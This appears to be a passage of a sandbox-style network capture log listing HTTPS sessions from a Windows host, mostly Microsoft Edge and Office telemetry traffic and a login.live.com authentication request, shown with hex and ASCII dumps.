2024-11-25 13:14:52 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 33 3a 31 34 3a 34 39 2e 37 36 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 63 37 63 32 61 30 65 2d 61 36 33 66 2d 34 63 31 31 2d 62 34 34 38 2d 30 32 63 39 30 64 37 36 62 32 39 37 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 32 31 33 37 35 35 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T13:14:49.767Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"bc7c2a0e-a63f-4c11-b448-02c90d76b297","epoch":"2821375596"},"app":{"locale
2024-11-25 13:14:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4e8d05fea36c4d7eb9e698384211fbc6&HASH=4e8d&LV=202411&V=4&LU=1732540493090; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 13:14:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1f7b0eadfa8b4603856ea5519835f416; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 13:44:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3321 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 13:14:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49884	40.79.167.8	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540489862&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9623 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; msnup=
2024-11-25 13:14:53 UTC	9623	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 33 3a 31 34 3a 34 39 2e 38 36 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 63 37 63 32 61 30 65 2d 61 36 33 66 2d 34 63 31 31 2d 62 34 34 38 2d 30 32 63 39 30 64 37 36 62 32 39 37 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 32 31 33 37 35 35 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T13:14:49.861Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"bc7c2a0e-a63f-4c11-b448-02c90d76b297","epoch":"2821375596"},"app":{"loc
2024-11-25 13:14:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6a38245ed0414c26a0734ae6a2e3a637&HASH=6a38&LV=202411&V=4&LU=1732540493441; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 13:14:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3d26392dd62349e2b576f57b7e890951; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 13:44:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3579 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 13:14:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131453Z-174c587ffdftv9hphC1TEBm29w00000005sg00000000rerh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:53 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 096488c1-001e-0046-44af-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131453Z-15b8b599d885v8r9hC1TEB104g000000062g000000006dwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:53 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:53 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131453Z-178bfbc474bfw4gbhC1NYCunf400000007m0000000003a0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:53 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:53 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131453Z-178bfbc474btvfdfhC1NYCa2en00000007fg00000000e9dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:53 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49891	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 13:14:53 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:54 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 3b1d030b-f26d-4352-938e-198f4e1120fe PPServer: PPV: 30 H: SN1PEPF0002F906 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:52 GMT Connection: close Content-Length: 11389
2024-11-25 13:14:54 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:54 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131454Z-174c587ffdf8fcgwhC1TEBnn70000000063g00000000f2yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:55 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 877e641f-101e-007a-18c6-3e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131455Z-178bfbc474bbcwv4hC1NYCypys00000007d0000000006ppw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:55 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:56 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131456Z-178bfbc474bq2pr7hC1NYCkfgg00000007qg0000000063fr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:56 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a28eb00b-801e-0035-04bf-3e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131456Z-178bfbc474bmqmgjhC1NYCy16c00000007n0000000005ymt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
